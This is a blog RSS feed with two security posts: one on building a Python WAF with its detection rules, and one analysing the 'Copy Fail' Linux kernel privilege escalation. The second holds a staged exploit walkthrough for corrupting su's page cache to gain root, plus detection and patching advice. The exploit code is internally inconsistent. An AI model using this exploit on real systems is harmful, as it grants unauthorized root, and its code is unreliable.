<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Akashsingh on Medium]]></title>
        <description><![CDATA[Stories by Akashsingh on Medium]]></description>
        <link>https://medium.com/@akashsinghkcc?source=rss-ea3f1d5b05ad------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*E7usoVbiOjSWM7Iz</url>
            <title>Stories by Akashsingh on Medium</title>
            <link>https://medium.com/@akashsinghkcc?source=rss-ea3f1d5b05ad------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 15:14:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akashsinghkcc/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[# The Hardest Part of Building a WAF Wasn’t Detection — It Was HTTP Itself]]></title>
            <link>https://medium.com/@akashsinghkcc/the-hardest-part-of-building-a-waf-wasnt-detection-it-was-http-itself-b9cc2ea82169?source=rss-ea3f1d5b05ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9cc2ea82169</guid>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[detection-rules]]></category>
            <category><![CDATA[waf-development]]></category>
            <category><![CDATA[python-programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Akashsingh]]></dc:creator>
            <pubDate>Tue, 25 Aug 2026 22:00:29 GMT</pubDate>
            <atom:updated>2026-08-25T22:00:29.287Z</atom:updated>
            <content:encoded><![CDATA[<p><strong># The Hardest Part of Building a WAF Wasn’t Detection — It Was HTTP Itself</strong></p><p>Most security engineers use a WAF. Very few build one.</p><p>I wanted to understand what actually happens inside that black box every time it allows, blocks, or inspects a request — so I built one myself, starting from raw TCP sockets in Python.</p><p>A WAF sits between the user and the application, inspecting every request before it’s allowed through:</p><p>```</p><p>Client → [ WAF: inspect, allow/block ] → Application</p><p>```</p><p>Simple in concept. The catch: <strong>**the WAF has to correctly understand the HTTP request before it can detect anything malicious in it.**</strong> That turned out to be the harder half of the project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LWNcYj9IxYUqL86HbejIZg.png" /></figure><p><strong>## Assumption #1 that broke immediately</strong></p><p>My first instinct: “It’s just HTTP — read until the double CRLF, split on colons, done.” That survived about ten minutes.</p><p>A raw socket doesn’t hand you clean HTTP requests. A single `recv()` call might return half a header, one full request, several requests stacked together, or a fragment of a body. TCP only knows bytes — it has no idea where one HTTP message ends and the next begins. Every guarantee a framework normally gives you for free, you have to build yourself.</p><p><strong>## Three parsing problems that turned out to be security problems</strong></p><p><strong>**Reading headers correctly.**</strong> `recv_until_headers_end()` keeps pulling from the socket until it actually sees `\r\n\r\n`, with a hard cap (`MAX_HEADER_SIZE`) so a client that never finishes its headers can’t hold a thread hostage forever. Not just a parsing detail — a resource-exhaustion control.</p><p><strong>**Reading the full body.**</strong> `Content-Length` tells you how many bytes to expect, but a single `recv()` might only deliver part of them. `read_body()` keeps reading until it actually has all of it. Skip this and a payload sitting near the end of a large body just never reaches the detection engine — the WAF says “looks clean” while the backend receives the full attack.</p><p><strong>**Never collapsing headers into a dict.**</strong> HTTP allows a header name to repeat — e.g. two `Content-Length` headers, which is itself a classic request-smuggling signal. A dict silently keeps the last value and throws the rest away. I stored headers as a list of tuples instead, specifically so duplication itself stays visible to the detection engine. Lesson: security-sensitive parsers shouldn’t “simplify” input that looks redundant — the redundancy can be the attack.</p><p><strong>## Scope enforcement before inspection</strong></p><p>Before anything reaches the WAF, the proxy applies two gates:</p><p>- **`CONNECT` is refused outright** — no tunneling through the proxy to arbitrary destinations.</p><p>- **Host-header scope check** — only requests addressed to the configured in-scope host get through; everything else gets a `403` before it’s ever treated as a security event, since being out of scope isn’t the same as being malicious.</p><p>Only what clears both gates reaches `waf.inspect_request()`. A block returns a `403` with the reason and closes the connection; an allow opens a fresh backend connection, forwards the request, and relays the response — respecting `Content-Length`/chunked framing on the way back too, so responses aren’t truncated either.</p><p>Every request gets logged regardless of verdict — because today’s “legitimate” request is tomorrow’s false-positive investigation.</p><p>## Detection is the easy 20%</p><p>The engine does signature-based detection across ~20 vulnerability classes — SQLi, XSS, LFI/RFI, command injection, path traversal, SSRF, CRLF injection, NoSQL/LDAP/XPath injection, SSTI, XXE, host header attacks, open redirect, HPP, request smuggling indicators, malicious file upload patterns, insecure deserialization, and component disclosure.</p><p>Writing a regex for `UNION SELECT` takes five minutes. Making sure an attacker can’t just re-encode their way past it takes considerably longer.</p><p>**Every value gets run through a normalization pipeline before any rule sees it:** iterative URL-decoding (up to three layers), HTML-entity unescaping, and lowercasing — and every rule is checked against *every* resulting variant, not just the raw input. `%3Cscript%3E`, `%253Cscript%253E`, and `&amp;#x3c;script&amp;#x3e;` all need to be caught the same way as a bare `&lt;script&gt;` tag. This one design decision does more against evasion than the entire rule library combined.</p><p>## A quick look at how a rule actually works</p><p>Each rule is just a small dict — a pattern plus metadata:</p><p>{<br> “id”: “SQLI-102”,<br> “name”: “UNION SELECT SQL Injection”,<br> “pattern”: r”\bunion\s+(?:all\s+)?select\b”,<br> “severity”: “HIGH”,<br> “confidence”: 0.97,<br>}</p><p>Every match runs with `re.IGNORECASE | re.DOTALL`, so casing tricks and payloads split across newlines don’t slip through for free. Some rules are also context-scoped — e.g. a rule can be restricted to headers-only or body-only, so a pattern that’s noisy in one context doesn’t fire everywhere it doesn’t need to. Nothing fancy — the sophistication isn’t in any single regex, it’s in feeding every rule every decoded variant of the input, and in what happens after a match: severity and confidence, not an instant verdict.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z501CuOUOISCc-auoDQNQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*60FpefaaoAjL14L7XOSyJA.png" /></figure><p>## Findings aren’t binary</p><p>A single MEDIUM-confidence match on ` — ` shouldn’t block a request — plenty of legitimate text contains a double dash. So every rule carries a `severity` (LOW/MEDIUM/HIGH/CRITICAL) and a `confidence` score, and the decision is:</p><p>```</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*D3nvoB8gPFeDtiQ_a8h5jA.png" /></figure><p>```</p><p>A CRITICAL finding blocks immediately, full stop. A single weak MEDIUM doesn’t. That distinction — evidence strength, not just “did a regex match” — is the actual job of a WAF.</p><p>## Some attacks need logic, not regex</p><p>A few classes get dedicated detection functions instead of static patterns:</p><p>- **SSRF** — flags requests targeting loopback/link-local/RFC1918 address ranges; the signature here is the *destination*, not a keyword.</p><p>- **HTTP Parameter Pollution** — flags duplicate parameters; the structure itself is the attack.</p><p>- **Host header &amp; request smuggling** — inspect header structure and combinations, which is exactly why headers were never collapsed into a dict in the first place.</p><p>- **Rate limiting** — a sliding window, 120 req/min generally but 15 req/min on auth endpoints, since credential stuffing looks nothing like generic high-volume traffic.</p><p>- **CSRF** — deliberately **monitor-only**. A generic WAF can’t know an app’s specific CSRF scheme, so blocking here risks breaking real traffic. More visibility, less aggressive blocking — a conscious trade-off, not an oversight.</p><p>JSON bodies get flattened and multipart form data gets parsed properly too, so a malicious value buried in a nested JSON field or a file-upload boundary gets the same scrutiny as a query parameter.</p><p>## Two log streams, tied together by a UID</p><ul><li>**`proxy.log`** — every request, raw, regardless of verdict.</li><li>**`waf_alerts.log`** — structured findings only: rule ID, category, severity, client IP, method, path, score, confidence.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tA8IXNuqyyYIODQUblshSQ.png" /></figure><p>Every request that produces a finding gets a UID (`WAF-&lt;uuid4&gt;`), stamped on every rule hit tied to that request. So five rules firing on one request become five connected log lines instead of five orphaned ones — and if you need the actual payload, the same UID gets you back to the raw request in `proxy.log`. That’s the difference between a log file and an audit trail you can actually debug from months later.</p><p>## This is phase one</p><p>Everything above is a fully rule-based, signature-driven WAF — and that model has the ceiling every signature-based engine has: it can only catch what it already has a pattern for.</p><p>Phase two is bringing AI into the pipeline itself, sitting alongside the rule engine rather than replacing it — aimed at catching payloads that don’t match any existing signature, cutting false positives on unusual-but-legitimate traffic, and adapting as attack patterns shift. More on that soon.</p><p>## Why not just use ModSecurity?</p><p>Because configuring a mature WAF and building one from scratch are completely different learning experiences. Using one, you write rules. Building one, you’re forced to ask what `recv()` actually returns, what happens with two `Content-Length` headers, what a doubly-encoded payload looks like, and whether a single match is strong enough evidence to block real traffic. Those questions are where the actual understanding lives — the regex is the easy part.</p><p>Full source is on <a href="https://github.com/zeyroxx7481/waf-demo.git">GitHub</a> — issues and PRs welcome, especially if you can break the evasion handling.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9cc2ea82169" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Copy Fail: The Linux Kernel Bug That Hid in Plain Sight for 9 Years]]></title>
            <link>https://medium.com/@akashsinghkcc/copy-fail-the-linux-kernel-bug-that-hid-in-plain-sight-for-9-years-eea74749ff1f?source=rss-ea3f1d5b05ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/eea74749ff1f</guid>
            <dc:creator><![CDATA[Akashsingh]]></dc:creator>
            <pubDate>Mon, 04 May 2026 19:21:40 GMT</pubDate>
            <atom:updated>2026-05-05T19:39:53.077Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>CVE-2026–31431 · Active Exploitation · CVSS 7.8 HIGH · CISA KEV</strong> <em>May 4, 2026 · 12 min read · Security Research</em></p><p><strong>Vulnerability Scorecard</strong></p><ul><li>CVE ID: 2026–31431</li><li>CVSS v3.1: 7.8 HIGH</li><li>Attack Vector: Local</li><li>Complexity: Low</li><li>Privileges Required: Low</li><li>Exploit Size: 732 bytes</li><li>Affected Since: Kernel 4.14</li><li>Discovered By: AI (Xint Code)</li></ul><p>A logic flaw buried inside the kernel’s crypto subsystem lets any unprivileged user own a Linux box in under a second — no race conditions, no kernel offsets, no special skills required.</p><h3>Table of Contents</h3><ol><li>The TL;DR</li><li>Background: What Is AF_ALG and Why Should You Care?</li><li>Root Cause: How the Page Cache Gets Poisoned</li><li>The su Example — Understanding the Target</li><li>The Exploit: 732 Bytes to Root</li><li>Copy Fail vs. Dirty Pipe</li><li>Impact: Who Should Be Worried?</li><li>Detection &amp; Indicators of Compromise</li><li>Remediation &amp; Hardening</li><li>The Bigger Picture: AI-Assisted Vulnerability Discovery</li></ol><h3>The TL;DR</h3><p>On April 29, 2026, security research firm Theori publicly disclosed <strong>CVE-2026–31431</strong>, nicknamed <strong>“Copy Fail”</strong> — a Local Privilege Escalation (LPE) vulnerability that has been sitting inside the Linux kernel since 2017. Any unprivileged local user can exploit it to get a root shell in under a second, using a 732-byte Python script that works unmodified across every major Linux distribution.</p><blockquote><em>🚨 </em><strong><em>CRITICAL — Active Exploitation Confirmed</em></strong><em> CVE-2026–31431 has been added to the </em><strong><em>CISA Known Exploited Vulnerabilities (KEV) catalog</em></strong><em>. All Linux systems running kernel ≥4.14 with untrusted local users or containerized workloads should be treated as P0 until patched. Patch or mitigate immediately.</em></blockquote><p>What makes it especially notable isn’t just the severity — it’s <em>who found it</em> and <em>how</em>. The bug was discovered by an AI system called Xint Code in approximately one hour, with a single operator prompt and no fuzzing harness. A vulnerability that evaded nine years of human kernel review was surfaced by a machine in the time it takes to watch two episodes of a TV show.</p><h3>Background: What Is AF_ALG and Why Should You Care?</h3><p>To understand Copy Fail, you need to understand two pieces of Linux infrastructure that most developers rarely think about: <strong>AF_ALG sockets</strong> and the <strong>page cache</strong>.</p><h3>AF_ALG — The Kernel’s Crypto Window</h3><p>Linux exposes its kernel-accelerated cryptographic operations to userspace through a socket-like interface called <strong>AF_ALG</strong> (Address Family ALG, implemented in crypto/algif_aead.c). Any unprivileged program can open an AF_ALG socket, configure a cipher and key, feed data in, and receive encrypted or decrypted data out — all without needing direct hardware access or elevated permissions. It&#39;s legitimate, useful infrastructure used by high-performance cryptographic applications.</p><h3>The Page Cache — Linux’s RAM-Based File Cache</h3><p>The Linux kernel maintains a global <strong>page cache</strong> — a region of RAM that holds recently read file contents so the kernel doesn’t have to re-read them from disk on every access. When you open /usr/bin/sudo, its binary bytes are loaded into page cache. If another process opens the same file moments later, the kernel serves the same cached pages. Critically, the cached pages for read-only setuid binaries are supposed to be completely immutable from userspace&#39;s perspective. The kernel&#39;s VFS layer enforces permission checks to prevent exactly that.</p><blockquote>“The page cache is the silent contract between the filesystem and every process on your machine. Copy Fail breaks that contract without anyone noticing.”</blockquote><h3>Root Cause: How the Page Cache Gets Poisoned</h3><p>The bug originates from a performance optimization introduced in 2017 (kernel commit 72548b093ee3). The change switched AEAD operations in algif_aead.c to run <em>in-place</em> — meaning the same scatterlist serves as both input and output for the crypto operation. This is perfectly fine when the input is memory you own. It becomes catastrophic when the input comes from somewhere you don&#39;t own.</p><p>Here’s the chain of events that creates the vulnerability:</p><p><strong>Step 1.</strong> An attacker opens a read-only setuid binary (e.g., /usr/bin/su) with O_RDONLY. This is completely allowed — any user can read a setuid binary.</p><p><strong>Step 2.</strong> The attacker uses the splice() syscall — a zero-copy data movement primitive — to feed the file&#39;s page cache pages directly into an AF_ALG AEAD socket. No copy is made; the pipe now holds a reference to the actual physical memory backing the binary on disk.</p><p><strong>Step 3.</strong> The kernel’s AEAD code performs its cryptographic operation <em>in-place</em>. Because of the 2017 optimization, req-&gt;src = req-&gt;dst. The page cache pages are now in the <em>writable</em> destination scatterlist.</p><p><strong>Step 4.</strong> The authencesn cryptographic template writes 4 bytes of scratch data at offset assoclen + cryptlen — directly into the spliced page cache pages. The VFS permission check never fires because the write originates from inside the kernel&#39;s own crypto subsystem, not from userspace directly.</p><p><strong>Step 5.</strong> The in-memory copy of the setuid binary is now corrupted with attacker-controlled bytes. The file on disk is <strong>completely untouched</strong>. No forensic trace on disk.</p><p><strong>Step 6.</strong> When the binary is executed, the kernel loads its pages from the (corrupted) page cache, sees the SUID bit still set on the inode, elevates privileges to root, and runs the attacker’s shellcode instead of the original program. Root shell obtained.</p><blockquote><em>⚠️ </em><strong><em>The Domain-Crossing Failure</em></strong><em> The code in </em><em>algif_aead.c was reviewed extensively — but only through the lens of cryptographic correctness. Nobody asked the right question: </em>&quot;Should the kernel ever be allowed to write through this memory?&quot;<em> It was a memory safety bug hiding inside a crypto component reviewed only for crypto safety. That&#39;s why it survived nine years of audits.</em></blockquote><h3>The su Example — Understanding the Target</h3><p>Most write-ups and official advisories — including CERT-EU, the Wikipedia entry, and the Microsoft Security Blog — specifically use /usr/bin/su as the demonstration target. Here&#39;s why su is the canonical choice, and why it illustrates the vulnerability so clearly.</p><h3>What Makes su the Perfect Target?</h3><p>Run ls -la /usr/bin/su on any Linux system and you&#39;ll see permissions like -rwsr-xr-x. See that <strong>s</strong> in -rw**s**r-xr-x? That&#39;s the <strong>SUID flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*sRonVP1kMjDpGHBYmGtcDg.png" /></figure><p>It tells the kernel: <em>when anyone executes this binary, run it with the file owner&#39;s privileges — root.</em> This is exactly the escalation primitive Copy Fail leverages.</p><p>There are four properties that make su uniquely suited as a Copy Fail target:</p><p><strong>1. It’s SUID-root on every Linux system.</strong> Unlike optional SUID binaries, su is a core system utility present and SUID on every mainstream Linux installation.</p><p><strong>2. Any unprivileged user can open it for reading.</strong> The permissions show r-xr-xr-x — world-readable. The exploit only ever requests O_RDONLY access. The kernel has no reason to deny it.</p><p><strong>3. The attack only corrupts the page cache copy.</strong> The /usr/bin/su binary on disk is <em>completely untouched</em>. Only the live in-memory copy has a few bytes overwritten. After a reboot — or once the page cache is evicted — the binary is clean again. The attack leaves <strong>zero disk-level forensic trace</strong>.</p><p><strong>4. The outcome is immediately obvious.</strong> su&#39;s sole purpose is to switch your running user ID. Corrupting it to spawn a shell is the most direct and conceptually clean demonstration. When you run the patched su and get a # prompt, there&#39;s no ambiguity about what just happened.</p><h3>The Exploit: 732 Bytes to Root</h3><p>The public proof-of-concept is a self-contained Python script requiring only standard library modules (os, socket, ctypes). It requires Python 3.10+ for os.splice. No compiled payloads. No dependency installation. No recompilation for different distributions. Here&#39;s a walkthrough of how it works.</p><h3>Stage 1 — Open the Target and Create the AF_ALG Socket</h3><pre>import ctypes, os, socket, struct<br><br># Target: a setuid-root binary readable by all users<br>TARGET = &quot;/usr/bin/su&quot;<br>target_fd = os.open(TARGET, os.O_RDONLY)   # O_RDONLY — no write perms needed<br><br># Create AF_ALG socket bound to AES-GCM-128 (AEAD)<br>AF_ALG = 38<br>alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)<br>alg_sock.bind((&quot;aead&quot;, &quot;&quot;, 16, &quot;gcm(aes)&quot;))</pre><p>The target binary is opened read-only. The kernel has no reason to deny this — any unprivileged user can read a setuid binary. The AF_ALG socket is bound to AES-GCM (the same cipher protecting your HTTPS traffic). We are not interested in the <em>cryptographic output</em> of this operation — only in <em>where the kernel writes it</em>.</p><h3>Stage 2 — Key Setup and Socket Accept</h3><pre># Set a dummy key — content is irrelevant<br>ALG_SET_KEY = 1<br>key = b&quot;\x41&quot; * 16   # 16 bytes of 0x41<br>alg_sock.setsockopt(279, ALG_SET_KEY, key)<br><br># accept() gives us an operation socket for this key<br>op_sock, _ = alg_sock.accept()</pre><p>The key is 16 bytes of 0x41. It doesn&#39;t matter what it is — the goal is not valid ciphertext. The accept() call returns an <em>operation socket</em> bound to the configured algorithm and key, which we&#39;ll use to trigger the vulnerable write path.</p><h3>Stage 3 — splice() the Page Cache Pages into the AEAD Socket</h3><pre># Create a pipe as an intermediary<br>pipe_r, pipe_w = os.pipe()<br>PAGE_SIZE = 4096<br>libc = ctypes.CDLL(&quot;libc.so.6&quot;, use_errno=True)<br><br># splice() su&#39;s page cache pages into the pipe (zero-copy — same physical RAM)<br>libc.splice(target_fd, None, pipe_w, None, PAGE_SIZE, 0)<br><br># splice() those same pipe pages into the AF_ALG AEAD socket as input<br>libc.splice(pipe_r, None, op_sock.fileno(), None, PAGE_SIZE, 0)</pre><p>This is the critical moment. The first splice() is zero-copy — the pipe now holds a <em>reference</em> to the actual physical page that backs /usr/bin/su in memory. No bytes were duplicated. The second splice() feeds those same page cache pages into the AF_ALG socket as input for an AEAD encrypt operation. The kernel is now about to run a cipher, and its input <em>and</em> output buffers both point at memory owned by a read-only setuid binary.</p><h3>Stage 4 — Trigger the Write-Through and Execute</h3><pre># Trigger the AEAD operation — kernel writes scratch bytes into page cache<br>op_sock.recv(PAGE_SIZE)<br><br># Execute the now-corrupted su binary — kernel runs it as root (SUID still set)<br>os.execv(TARGET, [TARGET])</pre><p>The recv() call triggers the AEAD encryption. The authencesn template writes 4 bytes of scratch data at offset assoclen + cryptlen into the output scatterlist — which, due to the in-place optimization, now points into the page cache of /usr/bin/su. The VFS permission check never fires. The execv() runs the now-corrupted binary. The kernel loads pages from the corrupted page cache, sees the SUID bit still set on the inode, and elevates to root. A root shell is returned.</p><p><strong>Lab Verification (Kali Linux 2025.3):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*4wB5UE54Dui7qOXDSi6tVw.png" /></figure><h3>Copy Fail vs. Dirty Pipe</h3><p>The closest historical analogue is <strong>Dirty Pipe (CVE-2022–0847)</strong>, which also achieved page cache corruption via privilege escalation. The comparison is instructive:</p><p>Property Dirty Pipe (CVE-2022–0847) Copy Fail (CVE-2026–31431) Write Primitive Page Cache via pipe Page Cache via algif_aead Subsystem fs/pipe.c crypto/algif_aead.c Race Condition No No Reliability High High — Deterministic Kernel Offsets Not required Not required Container Escape Yes Yes Distro Coverage All Linux ≥5.8 All Linux ≥4.14 (since 2017) Discovery Method Manual research AI-assisted (~1 hour) Exploit Size ~1KB © 732 bytes (Python)</p><p>The key difference is coverage. Dirty Pipe required kernel ≥5.8, which significantly narrowed the affected surface. Copy Fail reaches back to kernel 4.14 — meaning it covers <em>every enterprise Linux deployment</em> for the last nine years.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*F7cqO_YyjhdoToNd43ntxw.png" /></figure><h3>Impact: Who Should Be Worried?</h3><p>The vulnerability’s direct impact — full root escalation from any unprivileged user — is severe enough on its own. But the <strong>container and cloud impact</strong> is where it becomes truly alarming.</p><p>Because the Linux page cache is shared across all containers on the same host kernel, a single exploit from one container corrupts the page cache of the <em>host</em> and every co-resident container. Namespace isolation provides no protection here.</p><p><strong>Multi-tenant Kubernetes</strong> 🔴 CRITICAL Single tenant can escape to host and compromise all co-tenants.</p><p><strong>CI/CD Shared Runners</strong> 🔴 CRITICAL Forked PR attacker code can root the runner host (GitHub Actions, GitLab, Jenkins).</p><p><strong>AI Agent Sandboxes</strong> 🔴 CRITICAL LLM tool-calling containers are not isolated. Container escape is trivial.</p><p><strong>Docker / Podman</strong> 🟠 HIGH Host compromise from container breakout on self-hosted deployments.</p><p><strong>AWS Fargate / Lambda</strong> ✅ NOT AFFECTED Firecracker microVMs — separate kernel per tenant, no shared page cache.</p><p><strong>gVisor</strong> ✅ NOT AFFECTED User-space kernel intercepts syscalls before they reach the host kernel.</p><p><strong>Cloudflare Workers</strong> ✅ NOT AFFECTED V8 isolates — no Linux kernel exposed to tenant code.</p><blockquote>“Containers are not a security boundary for untrusted code. This vulnerability makes that assumption structurally false — not theoretically, but practically exploitable in seconds.”</blockquote><h3>Detection &amp; Indicators of Compromise</h3><p>Because Copy Fail leaves no disk-level trace, runtime detection is the primary defensive layer before a patch is applied. The following behavioral indicators should be monitored:</p><p>Unexpected <strong>AF_ALG socket creation</strong> by non-privileged processes is the clearest signal — normal unprivileged applications rarely open AF_ALG sockets of type SOCK_SEQPACKET. Combined with a <strong>UID transition to 0</strong> in a process tree not initiated by su, sudo, or login, this pattern is highly indicative of exploitation. You should also watch for splice() calls from unprivileged processes targeting setuid binaries, and unexpected root processes spawned from non-root parents.</p><h3>auditd Rules</h3><pre>-a always,exit -F arch=b64 -S socket -F a0=38 -k af_alg_socket<br>-a always,exit -F arch=b64 -S splice -F uid!=0 -k splice_unpriv<br>-a always,exit -F arch=b64 -S setuid -F a0=0 -k uid_zero</pre><h3>Temporary Seccomp Mitigation</h3><p>Until patching is complete, block AF_ALG socket creation for untrusted workloads:</p><pre># Block AF_ALG socket creation via seccomp<br>seccomp: socket(AF_ALG) → EPERM</pre><pre># Kubernetes: apply restrictive seccomp profile or RuntimeDefault with AF_ALG blocked</pre><blockquote><em>⚠️ </em><strong><em>Important: modprobe Blacklist Does NOT Work on Many Systems</em></strong><em> On Ubuntu, RHEL, Amazon Linux, and other systems where </em><em>algif_aead is compiled directly into the kernel (</em><em>CONFIG_CRYPTO_USER_API_AEAD=y), the commonly cited </em><em>echo &quot;install algif_aead /bin/false&quot; mitigation </em><strong><em>silently fails</em></strong><em> — the interface remains reachable. Verify first with: </em><em>grep -r algif_aead /lib/modules/$(uname -r)/modules.builtin. If built-in, use the </em><em>initcall_blacklist=algif_aead_init kernel boot parameter via </em><em>grubby instead.</em></blockquote><h3>Remediation &amp; Hardening</h3><h3>Immediate Actions (0–24 Hours)</h3><p>First, determine whether unprivileged processes can create AF_ALG sockets on your exposed systems. If reachable, treat as P1 and patch within 24 hours. Enable the auditd rules above immediately. For containerized multi-tenant environments, begin emergency migration planning to MicroVM runtimes or gVisor.</p><h3>Short-Term Patch Guidance (1–7 Days)</h3><pre># Ubuntu<br>sudo apt update &amp;&amp; sudo apt upgrade<br><br># RHEL / Amazon Linux / AlmaLinux<br>sudo dnf clean metadata &amp;&amp; sudo dnf upgrade<br>sudo reboot<br><br># Verify patch<br>grep &#39;CVE-2026-31431&#39; /proc/version</pre><h3>Long-Term Architecture Hardening</h3><p>Control Recommendation Isolation Migrate untrusted workloads to MicroVMs (Firecracker/Fargate) or gVisor. Do not rely on container namespaces alone for security boundaries. Seccomp Enforce RuntimeDefault seccomp profiles for all pods; explicitly block unnecessary syscalls including AF_ALG. Kernel Hardening Enable CONFIG_SECURITY_LOCKDOWN; restrict unprivileged user namespaces where possible. Patch Velocity Implement automated kernel patching pipelines. Critical CVEs must be deployed in hours, not days — the exploit is already public. Adversarial Testing Adopt AI-assisted fuzzing and LPE testing as part of pre-release security validation. The threat landscape has changed. VDP / Bug Bounty Maintain a working Vulnerability Disclosure Program capable of absorbing AI-accelerated bug discovery rates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*5x-HEyC8z2r08xbJ2_5M3w.png" /></figure><h3>The Bigger Picture: AI-Assisted Vulnerability Discovery</h3><p>The technical story of Copy Fail is remarkable. But the <em>discovery story</em> might matter more in the long run.</p><p>Copy Fail was found by Theori’s AI system, <strong>Xint Code</strong>, in approximately one hour with a single operator prompt — no fuzzing harness, no long manual code review. A vulnerability class that evaded nine years of human kernel auditing was surfaced by a machine in the time it takes to make coffee.</p><blockquote>“The skill curve is shifting. It used to be: can you build the tool? Now it’s: can you understand the output? AI is the force multiplier — and it’s available to both defenders and attackers.”</blockquote><p>Why did the bug survive so long? The vulnerable code in crypto/algif_aead.c was reviewed extensively — but reviewers were asking the <em>wrong question</em>. They evaluated it for cryptographic correctness: Is the encryption sound? Are there side-channel leaks? Does it comply with algorithm specifications? The question they never asked was: <em>&quot;Should the kernel ever be permitted to write to these memory pages at all?&quot;</em> That&#39;s a memory safety question, and it was invisible to reviewers operating entirely within the crypto domain.</p><p>This is a <strong>domain-crossing failure</strong> — and it’s a pattern that will recur. As codebases grow more complex, the intersections between subsystems become the new attack surface. Crypto code that touches VFS semantics. Network code that touches process memory. These boundaries are exactly where AI-assisted analysis — which does not share a human reviewer’s domain tunnel-vision — will keep finding bugs.</p><p>The implications for defenders are direct: the cost of finding deep, kernel-level vulnerabilities has dropped significantly. The supply of critical CVEs will increase, and the time from discovery to public exploit will compress. Patch velocity, isolation architecture, and adversarial testing programs must all be updated to reflect this new reality. If your security model assumes that the next Copy Fail will take nine years to surface — it won’t.</p><blockquote><em>💡 </em><strong><em>Key Takeaway</em></strong><em> Shared-kernel multi-tenancy is structurally riskier than the industry has modeled. Copy Fail is not an edge case — it is a preview. The defensive assumption that containers provide meaningful isolation for untrusted code must be abandoned.</em></blockquote><h3>Conclusion</h3><p>CVE-2026–31431 (Copy Fail) is a textbook example of a vulnerability that is simultaneously technically simple, historically significant, and practically devastating. A 732-byte Python script, executable by the most unprivileged user on the system, returns a root shell in under a second — on virtually every Linux machine deployed since 2017.</p><p>The bug wasn’t hidden in obfuscated code or obscure architecture. It was sitting in a widely-reviewed, well-understood kernel component. It survived nine years because the reviewers were crypto experts, and the vulnerability was a memory safety issue. An AI found it in an hour.</p><p>If your organization runs Linux — in servers, containers, CI/CD pipelines, or cloud workloads — treat this as P0 until patched. Apply the kernel update. Enable the auditd rules. Stop treating containers as security boundaries for untrusted code.</p><p>And start thinking hard about what else might be hiding in plain sight.</p><p>📚 <strong>References</strong></p><ul><li>Wikipedia — <em>Copy Fail (CVE-2026–31431)</em><br> <a href="https://en.wikipedia.org/wiki/Copy_Fail?utm_source=chatgpt.com">https://en.wikipedia.org/wiki/Copy_Fail</a></li><li>TechRadar — <em>Copy-Fail vulnerability affects all Linux kernels since 2017</em><br> <a href="https://www.techradar.com/pro/security/an-hour-of-scan-time-is-all-it-took-copy-fail-flaw-impacts-all-linux-kernels-released-since-2017-so-patch-now-or-face-the-consequences?utm_source=chatgpt.com">https://www.techradar.com/pro/security/an-hour-of-scan-time-is-all-it-took-copy-fail-flaw-impacts-all-linux-kernels-released-since-2017-so-patch-now-or-face-the-consequences</a></li><li>Wiz Research — <em>Copy Fail: Linux Kernel Privilege Escalation</em><br> <a href="https://www.wiz.io/blog/copyfail-cve-2026-31431-linux-privilege-escalation-vulnerability?utm_source=chatgpt.com">https://www.wiz.io/blog/copyfail-cve-2026-31431-linux-privilege-escalation-vulnerability</a></li><li>CISA — <em>Known Exploited Vulnerabilities (KEV) Catalog</em><br> <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">https://www.cisa.gov/known-exploited-vulnerabilities-catalog</a></li></ul><p><em>CVE-2026–31431 · “Copy Fail” · Linux Kernel Local Privilege Escalation</em> <em>CVSS v3.1: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) · Affected: Linux Kernel ≥4.14 · Disclosed: April 29, 2026</em> <em>Original Discovery: Theori / Xint Code · CISA KEV: Confirmed · Upstream Fix: commit a664bf3d603d</em> <em>This blog is based on an authorized security research report. Content is for educational and defensive purposes only.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eea74749ff1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>